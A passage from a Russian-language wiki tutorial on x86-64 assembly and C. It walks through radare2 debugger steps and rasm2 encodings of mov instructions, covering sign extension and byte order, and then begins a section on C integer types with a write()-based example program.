             0x0040009a      fecc                                                           decb %ah&lt;br /&gt;
             0x0040009c      b4cd                                                           movb $0xcd, %ah ; 205&lt;br /&gt;
             0x0040009e      fec4                                                           incb %ah&lt;br /&gt;
             0x004000a0      fecc                                                           decb %ah&lt;br /&gt;
             0x004000a2      66b8ffff                                                       movw $0xffff, %ax&lt;br /&gt;
             0x004000a6      66ffc0                                                         incw %ax&lt;br /&gt;
             0x004000a9      66ffc8                                                         decw %ax&lt;br /&gt;
             0x004000ac      66b8bdac                                                       movw $0xacbd, %ax&lt;br /&gt;
             0x004000b0      b8ddccbbaa                                                     movl $0xaabbccdd, %eax&lt;br /&gt;
             0x004000b5      b8ffffff7f                                                     movl $0x7fffffff, %eax&lt;br /&gt;
             0x004000ba      ffc0                                                           incl %eax&lt;br /&gt;
             0x004000bc      ffc8                                                           decl %eax&lt;br /&gt;
             0x004000be      b800000080                                                     movl $0x80000000, %eax&lt;br /&gt;
             0x004000c3      ffc8                                                           decl %eax&lt;br /&gt;
             0x004000c5      ffc0                                                           incl %eax&lt;br /&gt;
             0x004000c7      b8ffffffff                                                     movl $0xffffffff, %eax ; -1 ; -1&lt;br /&gt;
             0x004000cc      ffc0                                                           incl %eax&lt;br /&gt;
             0x004000ce      ffc8                                                           decl %eax&lt;br /&gt;
             0x004000d0      48c7c0ffffffff                                                 movq $-1, %rax&lt;br /&gt;
             0x004000d7      ffc0                                                           incl %eax&lt;br /&gt;
             0x004000d9      ffc8                                                           decl %eax&lt;br /&gt;
             0x004000db      48c7c0ffffffff                                                 movq $-1, %rax&lt;br /&gt;
             0x004000e2      48ffc0                                                         incq %rax&lt;br /&gt;
             0x004000e5      48ffc8                                                         decq %rax&lt;br /&gt;
             0x004000e8      48c7c0ffffffff                                                 movq $-1, %rax&lt;br /&gt;
             0x004000ef      48b8ffffffffffffffff                                           movabsq $0xffffffffffffffff, %rax&lt;br /&gt;
             0x004000f9      0f0b                                                           ud2&lt;br /&gt;
&lt;br /&gt;
И теперь в этом отладочном режиме мы шаг за шагом пройдем все эти инструкции, вплоть до ud2.&lt;br /&gt;
&lt;br /&gt;
Вначале идет инструкция &amp;lt;code&amp;gt;movabs&amp;lt;/code&amp;gt; (с суффиксом &amp;lt;code&amp;gt;q&amp;lt;/code&amp;gt; означающим что работаем мы с 64-битным регистром).&lt;br /&gt;
&lt;br /&gt;
Инструкции ассемблер GAS как правило идут с суффиксами «b», «s», «w», «l», «q» или «t» чтобы задать размер операнда.&lt;br /&gt;
&lt;br /&gt;
*b = byte (8 бит)&lt;br /&gt;
*s = short (16 бит integer) или single (32-бит floating point)&lt;br /&gt;
*w = word (16 бит)&lt;br /&gt;
*l = long (32 бит integer или 64-бит floating point)&lt;br /&gt;
*q = quad (64 бит)&lt;br /&gt;
*t = 10 байт (80-бит floating point)&lt;br /&gt;
&lt;br /&gt;
В 64-битном коде &amp;lt;code&amp;gt;abs&amp;lt;/code&amp;gt; используется для кодирование &amp;lt;code&amp;gt;mov&amp;lt;/code&amp;gt; инструкции с 64-битным смещенем или непосредственым (immediate) операндом. При этом часть &amp;lt;code&amp;gt;abs&amp;lt;/code&amp;gt; может влиять, а может и не влиять на то, что нам сгенерирует ассемблер. Рассмотрим такой пример:&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $0x1122334455667788, %rax'&lt;br /&gt;
 48b88877665544332211&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0x1122334455667788, %rax'&lt;br /&gt;
 48b88877665544332211&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movabs $0x1122334455667788, %rax'&lt;br /&gt;
 48b88877665544332211&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movabsq $0x1122334455667788, %rax'&lt;br /&gt;
 48b88877665544332211&lt;br /&gt;
Однако, если значение, которое мы хотим записать в регистр &amp;lt;code&amp;gt;rax&amp;lt;/code&amp;gt; будет в самом начале состоять из нулей (необходимо 33 подряд идущих нулевых бита в начале), результат будет отличаться:&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $0x0000000055667788, %rax'&lt;br /&gt;
 48c7c088776655&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0x0000000055667788, %rax'&lt;br /&gt;
 48c7c088776655&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movabs $0x0000000055667788, %rax'&lt;br /&gt;
 48b88877665500000000&lt;br /&gt;
 2$ rasm2 -a x86.as -s att -b 64 'movabsq $0x0000000055667788, %rax'&lt;br /&gt;
 48b88877665500000000&lt;br /&gt;
Как видно, в данном случае &amp;lt;code&amp;gt;abs&amp;lt;/code&amp;gt; в явном виде задает, что операнд должен быть 64-битным. Если же нулевыми битами будет занято только 32 бита, ассемблер не сможет сгенерировать более короткую инструкцию. Например, возьмем такие операнды, чтобы в двоичной системе счисления тот 32 бит был нулем &amp;lt;code&amp;gt;0111 1111&amp;lt;/code&amp;gt; (в 16-ричной системе счисления это будет &amp;lt;code&amp;gt;7f&amp;lt;/code&amp;gt;) и чтобы бит был единицей: &amp;lt;code&amp;gt;1000 0000&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt;)&lt;br /&gt;
                                                 VV&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0x000000007f667788, %rax'&lt;br /&gt;
 48c7c08877667f&lt;br /&gt;
                                                 VV&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0x0000000080667788, %rax'&lt;br /&gt;
 48b88877668000000000&lt;br /&gt;
Как видим, с единицей в 32-м бите ассемблер не может сгенерировать короткую инструкцию. Это все происходит оттого, что происходит расширение соответствующего бита на старшие разряды (это т. н. знаковое расширение). Для примера &amp;lt;code&amp;gt;movq $0x000000007f667788, %rax&amp;lt;/code&amp;gt; использовано всего 7 байт :&amp;lt;code&amp;gt;48c7c08877667f&amp;lt;/code&amp;gt;. В куске &amp;lt;code&amp;gt;48c7c0&amp;lt;/code&amp;gt; закодирована как бы сама инструкция, а вот тут &amp;lt;code&amp;gt;8877667f&amp;lt;/code&amp;gt; содержится само значение, только оно как бы отзеркалено, &amp;lt;code&amp;gt;7f&amp;lt;/code&amp;gt; байт у нас лежит в самом конце, а &amp;lt;code&amp;gt;88&amp;lt;/code&amp;gt; в самом начале. Это связано с особенностями реализации процессора, его порядком байт (endian mode). Вот таким нехитрым образом нулевой байт из &amp;lt;code&amp;gt;7f&amp;lt;/code&amp;gt; расширяется на последущие разряды:&lt;br /&gt;
 ┏┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┓&lt;br /&gt;
 ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ┃&lt;br /&gt;
 00000000 00000000 00000000 00000000 01111111 01100110 01110111 10001000&lt;br /&gt;
    00       00       00       00       7f       66       77       88&lt;br /&gt;
&lt;br /&gt;
Аналогичным образом, через расширение бита можно записать более короткую инструкцию для записи значений, в которых 33 бита заполнены единицами&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0xffffffff7f667788, %rax'&lt;br /&gt;
 48b88877667fffffffff&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movq $0xffffffff80667788, %rax'&lt;br /&gt;
 48c7c088776680&lt;br /&gt;
Т. е. тут мы наблюдаем обратную ситуацию. С &amp;lt;code&amp;gt;7f&amp;lt;/code&amp;gt; инструкция выходит длиннее, чем с &amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt; потому что при &amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt; происходит заполнение старшего куска единицами, а в данном случае именно это нам и нужно. В последнем случае происходит такое знаковое расширение бит:&lt;br /&gt;
 ┏┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┳┳┳┳┳┳┳┳━┓&lt;br /&gt;
 ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ╿╿╿╿╿╿╿╿ ┃&lt;br /&gt;
 11111111 11111111 11111111 11111111 10000000 01100110 01110111 10001000&lt;br /&gt;
    ff       ff       ff       ff       80       66       77       88&lt;br /&gt;
&lt;br /&gt;
Сделано это было для того, чтобы такой короткой инструкцией можно было бы записать в регистр в том числе и отрицательные числа (но при этом было вполовину урезано множество положительных чисел, которые можно записать этой инструкцией). Для представления отрицательных чисел используется т. н. дополнительный код https://ru.wikipedia.org/wiki/Дополнительный_код_(представление_числа) (еще называют two's complement).&lt;br /&gt;
&lt;br /&gt;
Если мы пробуем заассемблировать инструкцию, где старшая 33-битная часть будет заполнена и не сплошными единицами и не сплошными нулями, мы всегда получаем более длинный опкод:&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $0xbbaaaaaaaaaaaacc, %rax'&lt;br /&gt;
 48b8ccaaaaaaaaaaaabb&lt;br /&gt;
Ассемблер старается подобрать более короткий опкод, когда возможно (если мы явно не указываем генерировать длинный опкод, как в случае с &amp;lt;code&amp;gt;movabs&amp;lt;/code&amp;gt;). Но разные ассемблеры могут выдавать разный результирующий двоичный код. В некоторых случаях (архитектуры Intel это не касается, хотя кто знает, может быть когда-нибудь…) ассемблер может даже переставлять инструкции местами с целью лучшей оптимизации. Например, для MIPS в GAS есть директива &amp;lt;code&amp;gt;.set noreorder&amp;lt;/code&amp;gt; которая отключает и &amp;lt;code&amp;gt;.set reorder&amp;lt;/code&amp;gt; которая включает «перетасовку» инструкций, чтоб лучше нагружать конвейер процессора. Современные процессоры исполняют инструкции не строго последовательно, а способны обрабатывать несколько инструкций за раз (на одном ядре) и исполнять инструкции не в том порядке, в котором они записаны (внеочередное исполнение, см https://en.wikipedia.org/wiki/Out-of-order_execution) но при этом важно отметить, что процессор всегда действует таким образом, чтобы все выглядело таким образом, будто бы инструкции выполняются последовательно. Иными словами, от этого внеочередного исполнения и конвейеризации программа не станет вести себя не так, как если б процессор исполнял инстукции строго последовательно. В этой книге я не планирую описывать особенности вычислительного конвейера разных процессоров. Дополнительные ссылки https://en.wikipedia.org/wiki/Instruction_pipelining https://en.wikipedia.org/wiki/Hazard_(computer_architecture), https://en.wikipedia.org/wiki/Bubble_(computing).&lt;br /&gt;
&lt;br /&gt;
Некоторые ассемблеры даже инструкцию &amp;lt;code&amp;gt;mov $0, %rax&amp;lt;/code&amp;gt; ассемблируют таким образом, что она будет длинной. Например, сравним результат &amp;lt;code&amp;gt;x86.as&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;x86.ks&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;x86.nasm&amp;lt;/code&amp;gt; (для NASM придется использовать Intel синтаксис, т. к. другой синтаксис он не поддерживает)&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $0, %rax'&lt;br /&gt;
 48c7c000000000&lt;br /&gt;
 $ rasm2 -a x86.ks -s att -b 64 'mov $0, %rax'&lt;br /&gt;
 48b80000000000000000&lt;br /&gt;
 $ rasm2 -a x86.nasm -s intel -b 64 'mov rax, 0'&lt;br /&gt;
 b800000000&lt;br /&gt;
Как видим, во всех трех случаях мы получили разные результаты. Между прочим, в более новых версиях это поведение может быть другим. Давайте разберем, какие конкретно инструкции тут были получены в результате ассемблирования.&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48c7c000000000'&lt;br /&gt;
 movq $0, %rax&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48b80000000000000000'&lt;br /&gt;
 movabsq $0x0, %rax&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d 'b800000000'&lt;br /&gt;
 movl $0, %eax&lt;br /&gt;
Все 3 инструкции тут отличаются. В первом случае используется mov с префиксом q (movq) — означает move quad (но в самой инструкии использовано всего 4 байта под само число, записываемое в регистр. Старшая часть получается от знакового расширения нулевого бита на старшую часть). Во втором используется abs означающий запись абсолютного (64-битного) без убирания нулей в опкоде. В третьем случае у нас nasm сгенерил опкод, который записывает в регистр &amp;lt;code&amp;gt;%eax&amp;lt;/code&amp;gt; (при этом задействуя) но инструкция, записывающая в &amp;lt;code&amp;gt;%eax&amp;lt;/code&amp;gt; срабатывает таким образом, что старшая часть 64-битного регистра при этом обнуляется (при этом не происходит никакого знакового расширения, т. е. иснтрукцией &amp;lt;code&amp;gt;mov $0xffffffff, %rax&amp;lt;/code&amp;gt; мы не заполняем весь 64-битный регистр целиком одними единицами, но старшая часть при этом всегда зануляется). Все 3 варианта по факту дают тот же результат, только сами опкоды отличаются в размере.&lt;br /&gt;
&lt;br /&gt;
Примечание: перевести из 16-ричной системы счисления в двоичную можно с помощью &amp;lt;code&amp;gt;rax2&amp;lt;/code&amp;gt;&lt;br /&gt;
 $ rax2 Bx80&lt;br /&gt;
 10000000b&lt;br /&gt;
 $ rax2 Bx7f&lt;br /&gt;
 1111111b&lt;br /&gt;
Не лишним так же будет набрать &amp;lt;code&amp;gt;rax2 -h&amp;lt;/code&amp;gt; чтобы увидеть другие примеры использования.&lt;br /&gt;
&lt;br /&gt;
Итак, нажав &amp;lt;code&amp;gt;s&amp;lt;/code&amp;gt; мы перешагнули через эту инструкцию &amp;lt;code&amp;gt;movabsq&amp;lt;/code&amp;gt;. Исполнение первой инструкции&lt;br /&gt;
             0x00400080      48b88877665544332211                                           movabsq $0x1122334455667788, %rax ; [1] va=0x00400080 pa=0x00000080 sz=123 vsz=123 rwx=--r-x .text&lt;br /&gt;
Приводит к записи в регистр &amp;lt;code&amp;gt;rax&amp;lt;/code&amp;gt; значения &amp;lt;code&amp;gt;0x1122334455667788&amp;lt;/code&amp;gt;Мы можем видеть, что значение rax у нас изменилось:&lt;br /&gt;
 orax 0xffffffffffffffff   rax 0x1122334455667788   rbx 0x00000000 &lt;br /&gt;
&lt;br /&gt;
При этом можно заметить, что строчка &amp;lt;code&amp;gt;;-- rip:&amp;lt;/code&amp;gt; теперь опустилась ниже данной инструкии. &lt;br /&gt;
             0x00400080      48b88877665544332211                                           movabsq $0x1122334455667788, %rax ; [1] va=0x00400080 pa=0x00000080 sz=123 vsz=123 rwx=--r-x .text&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x0040008a      b0ff                                                           movb $0xff, %al ; 255&lt;br /&gt;
Регистр-указатель на текущую инструкцию &amp;lt;code&amp;gt;%rip&amp;lt;/code&amp;gt; уменьшился на единицу, Метка &amp;lt;code&amp;gt;;-- rip:&amp;lt;/code&amp;gt; — теперь она ниже предыдущей инструкции movabsq. Изменившиеся регистры подсвечиваются соответствующим цветом в консоли&lt;br /&gt;
&lt;br /&gt;
Далее у нас идет инструкция &amp;lt;code&amp;gt;movb&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Инструкция &amp;lt;code&amp;gt;movb&amp;lt;/code&amp;gt; записана с суффиксом &amp;lt;code&amp;gt;b&amp;lt;/code&amp;gt; в конце. Это означает, что она работает с однобайтными операндами. В данном случае, она изменит значение в однобайтном регистре &amp;lt;code&amp;gt;%al&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Если суффикс не указан, и нет операнда памяти для команды, GAS выводит размер операнда из размера целевого регистра операнда (конечный операнд). В частности, &amp;lt;code&amp;gt;movb $0xff, %al&amp;lt;/code&amp;gt; можно поменять на &amp;lt;code&amp;gt;mov $0xff, %al&amp;lt;/code&amp;gt; и ассемблер нам выдаст то же самое. Это можно проверить через rasm:&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'movb $0xff, %al'&lt;br /&gt;
 b0ff&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $0xff, %al'&lt;br /&gt;
 b0ff&lt;br /&gt;
Пока что мы не разбирали работу прямой и относительной адресации где эти суффиксы будут необходимы (т. е. без их явного указания, ассемблер не сможет «понять», что именно мы хотим сделать). Это будет разобрано в одном из последующих примеров. В Intel синтаксисе используется иной способ задания размеров операнда, об этом также будет сказано в последующих примеров&lt;br /&gt;
&lt;br /&gt;
Нажмем &amp;lt;code&amp;gt;s&amp;lt;/code&amp;gt; чтобы выполнить эту инструкцию, «перешагнуть через нее»:&lt;br /&gt;
            0x00400080      48b88877665544332211                                           movabsq $0x1122334455667788, %rax ; [1] va=0x00400080 pa=0x00000080 sz=123 vsz=123 rwx=--r-x .text                 &lt;br /&gt;
            0x0040008a      b0ff                                                           movb $0xff, %al ; 255&lt;br /&gt;
            ;-- rip:&lt;br /&gt;
            0x0040008c      fec0                                                           incb %al&lt;br /&gt;
&lt;br /&gt;
Данная инструкция записала в однобайтный регистр &amp;lt;code&amp;gt;%al&amp;lt;/code&amp;gt; значение &amp;lt;code&amp;gt;0xff&amp;lt;/code&amp;gt; в 16-ричной системе счисления, в десятичной системе счисления будет это будет 255 что соответствующим образом показано в «примечаниях» к инструкции. Если посмотреть на состояние регистров, то мы заметим, что регистр &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt; слегка изменился. Изменилась его самая младшая половина&lt;br /&gt;
Было:&lt;br /&gt;
orax 0xffffffffffffffff   rax 0x1122334455667788   rbx 0x0000000&lt;br /&gt;
Стало:&lt;br /&gt;
orax 0xffffffffffffffff   rax 0x11223344556677ff   rbx 0x0000000&lt;br /&gt;
Это все потому, что регистр &amp;lt;code&amp;gt;%al&amp;lt;/code&amp;gt; является самым младшим кусочком регистра &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt;. Таким вот образом мы можем частично перезаписать регистр &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt;. Что ж, идем дальше.&lt;br /&gt;
&lt;br /&gt;
Дальше у нас идет инструкция &amp;lt;code&amp;gt;incb %al&amp;lt;/code&amp;gt;, увеличивающая регистр &amp;lt;code&amp;gt;%al&amp;lt;/code&amp;gt; на единицу.&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x0040008c      fec0                                                           incb %al&lt;br /&gt;
             0x0040008e      fec8                                                           decb %al&lt;br /&gt;
Сейчас обратите внимание на значение особого регистра &amp;lt;code&amp;gt;rflags&amp;lt;/code&amp;gt; и запомните его состояние т.к. после этой инструкции он изменится.&lt;br /&gt;
  rflags 1I&lt;br /&gt;
 Выполним инструкцию.&lt;br /&gt;
            0x0040008c      fec0                                                           incb %al&lt;br /&gt;
            ;-- rip:&lt;br /&gt;
            0x0040008e      fec8                                                           decb %al&lt;br /&gt;
Как можно заметить, в регистре &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt; поменялся последний байт (последние два знака):&lt;br /&gt;
 orax 0xffffffffffffffff   rax 0x1122334455667700   rbx 0x00000000&lt;br /&gt;
Это все потому, что у нас произошло переполнение. Можно представить это следующим образом: если складывать в столбик два числа, 99 и 1, и при этом отбрасывать все, кроме последних двух цифр.&lt;br /&gt;
  99 &lt;br /&gt;
 + 1&lt;br /&gt;
 ___&lt;br /&gt;
 100&lt;br /&gt;
  00&lt;br /&gt;
мы получаем ноль. Так и тут, &amp;lt;code&amp;gt;0xff&amp;lt;/code&amp;gt; это самое большое число, которое может содержать в себе однобайтный регистр &amp;lt;code&amp;gt;%al&amp;lt;/code&amp;gt;, и после добавление единицы он просто обнуляется. А так как этот регистр являеся лишь кусочком 8-битного регистра  &amp;lt;code&amp;gt;%rax&amp;lt;/code&amp;gt;, мы видим «обнуление» младшей части соответсвующего регистра. При этом значение особого регистра &amp;lt;code&amp;gt;rflags&amp;lt;/code&amp;gt;, на состояние которого я просил обратить внимание, тоже изменилось&lt;br /&gt;
{{Доработка&lt;br /&gt;
 |reason=«дописать про rflags. eflags возможно стоит добавить про cmovcc инструкции. Пока не пофикшено https://github.com/radare/radare2/issues/6374 данная часть дописана не будет»}}&lt;br /&gt;
&lt;br /&gt;
=== Арифметические операции ===&lt;br /&gt;
&lt;br /&gt;
=== Некоторые системные вызовы, файловые дескрипторы, запись/чтение файлов/пайпов, стандартные потоки ввода-вывода, простейшие циклы, ветвления, рекурсия, вызов функции, адрес возврата, косвенная адресация ===&lt;br /&gt;
&lt;br /&gt;
=== Получаем аргументы командной строки и переменных окружения в ассемблере ===&lt;br /&gt;
&lt;br /&gt;
=== Некоторые алгоритмы и структуры данных ===&lt;br /&gt;
&lt;br /&gt;
=== Пишем простейший стековый калькулятор (обратная польская нотация) ===&lt;br /&gt;
&lt;br /&gt;
=== shared memory, SysV IPC, mmap, mremap, mprotect, brk/sbrk отображение файла в память процесса, mprotect, fork, clone, mutex etc… ===&lt;br /&gt;
&lt;br /&gt;
=== Сокеты, tcp, udp, raw socket, select, poll, epoll ===&lt;br /&gt;
&lt;br /&gt;
=== Привилегии процесса, вызовы getrlimit(2), setrlimit(2), setuid(2), seteuid(2)… ===&lt;br /&gt;
&lt;br /&gt;
=== Что-нибудь про VSDO ===&lt;br /&gt;
&lt;br /&gt;
== Си ==&lt;br /&gt;
&lt;br /&gt;
=== Разные типы в Си, sizeof, указатели. Вывод на печать текста через системный вызов write(), работа с файлами, функции семейства printf() scanf() ===&lt;br /&gt;
&lt;br /&gt;
Си является языком со слабой статической типизацией, с неявным приведением типов (кастами). Есть базовые целочисленные типы, спецификаторы для них &amp;lt;code&amp;gt;char&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;short&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;int&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;long&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;long long&amp;lt;/code&amp;gt; (при этом &amp;lt;code&amp;gt;long&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;long long&amp;lt;/code&amp;gt; может идти перед int, но не char). Есть еще спецификатор, определяющее то, знаковый или беззнаковый у нас тип: &amp;lt;code&amp;gt;signed&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;unsigned&amp;lt;/code&amp;gt;. Знаковость/беззнаковость char(без спецификатора знаковости) в стандарте не определена, для остальных целочисленных типов (без спецификатора знаковости) они являются знаковыми. Размеры типов определяются в байтах, но байты бывают разными. В Си байт далеко не всегда состоит из 8 бит. В заглавочном файле [https://ru.wikipedia.org/wiki/Limits.h limits.h] определен макрос CHAR_BIT, описывающий число бит в байте. Но байт не может быть менее чем 8-битным по современному стандарту, т. к. в 7 бит не хватит места отобразить требуемые по стандарту C11 SCHAR_MIN и SCHAR_MAX определенный в стандарте (см. 5.2.4.2.1 «Sizes of integer types &amp;lt;limits.h&amp;gt;»)&lt;br /&gt;
&lt;br /&gt;
http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf, 6.7.2 «Type specifiers  &amp;lt;limits.h&amp;gt;» — заглавочный файл &amp;lt;code&amp;gt;limits.h&amp;lt;/code&amp;gt; обычно находится в директории &amp;lt;code&amp;gt;/usr/include/&amp;lt;/code&amp;gt;. Узнать место, где по умолчанию производится поиск и подстановка заглавочных файлов, имена которых заключены в т. н. угловые скобки, можно через &amp;lt;code&amp;gt;echo | gcc -E -Wp,-v -&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ну что ж, давайте попробуем поработать с некоторыми типами.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main (void)&lt;br /&gt;
{&lt;br /&gt;
  const char nl = '\n';&lt;br /&gt;
  const char val_char = 0x4142434445464748ULL;&lt;br /&gt;
  const short val_short = 0x4142434445464748ULL;&lt;br /&gt;
  const long val_long = 0x4142434445464748ULL;&lt;br /&gt;
  const long long val_long_long = 0x4142434445464748ULL;&lt;br /&gt;
&lt;br /&gt;
  const int val_int = 0x4142434445464748ULL;&lt;br /&gt;
  const short int val_short_int = 0x4142434445464748ULL;&lt;br /&gt;
  const long int val_long_int = 0x4142434445464748ULL;&lt;br /&gt;
  const long long int val_long_long_int = 0x4142434445464748ULL;&lt;br /&gt;
  const __int128 val__int128 = ((__int128)(0x4142434445464748ULL)&amp;lt;&amp;lt;64) | ((__int128)(0x494A4B4C4D4E4F50ULL));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_char:\n&amp;quot;, sizeof(&amp;quot;val_char:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_char, sizeof(val_char));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_short:\n&amp;quot;, sizeof(&amp;quot;val_short:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_short, sizeof(val_short));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_long:\n&amp;quot;, sizeof(&amp;quot;val_long:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_long, sizeof(val_long));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_long_long:\n&amp;quot;, sizeof(&amp;quot;val_long_long:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_long_long, sizeof(val_long_long));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_int:\n&amp;quot;, sizeof(&amp;quot;val_int:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_int, sizeof(val_int));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_short_int:\n&amp;quot;, sizeof(&amp;quot;val_short_int:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_short_int, sizeof(val_short_int));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_long_int:\n&amp;quot;, sizeof(&amp;quot;val_long_int:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_long_int, sizeof(val_long_int));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val_long_long_int:\n&amp;quot;, sizeof(&amp;quot;val_long_long_int:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val_long_long_int, sizeof(val_long_long_int));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
&lt;br /&gt;
  write(STDOUT_FILENO, &amp;quot;val__int128:\n&amp;quot;, sizeof(&amp;quot;val__int128:\n&amp;quot;)-1);&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;val__int128, sizeof(val__int128));&lt;br /&gt;
  write(STDOUT_FILENO, &amp;amp;nl, sizeof(nl));&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:ASCII-Table.svg|thumb|right|upright=2.1|Таблица кодов ASCII]]&lt;br /&gt;
Функция &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; пишет в файловый дескриптор &amp;lt;code&amp;gt;STDOUT_FILENO&amp;lt;/code&amp;gt; (стандартный вывод) последовательность байтов, хранимую в типе. &amp;lt;code&amp;gt;sizeof()&amp;lt;/code&amp;gt; возвращает размер типа в байтах. Эта информация нужна функции &amp;lt;code&amp;gt;write()&amp;lt;/code&amp;gt; чтобы было понятно, сколько именно байтов надо вывести. Символ &amp;lt;code&amp;gt;&amp;amp;&amp;lt;/code&amp;gt; это взятие адреса переменной (получение указателя на нее). О работе указателей мы поговорим несколько позже. Если вы попробуете скомпилировать этот код, компилятор вам выдаст множество варнингов, связанных с тем, что мы пытаемся присвоить в тип бОльшее значение, чем он в себе может вместить. С типом &amp;lt;code&amp;gt;__int128&amp;lt;/code&amp;gt; вообще интересная история — такой тип не описан в стандарте Си, это — нестандартное расширение компилятора. И инициализируется о несколько странно, связано это опять таки с его нестандартностью, т. е. стандартом Си не предусмотрен тип &amp;lt;code&amp;gt;__int128&amp;lt;/code&amp;gt; и инициализировать его надо таким вот кривым методом — двумя кусками, один из которых сдвигаем на 64 бита влево… Впрочем, я забегаю вперед. Об операциях and, or и двоичных сдвигах будет написано позже.&lt;br /&gt;
&lt;br /&gt;
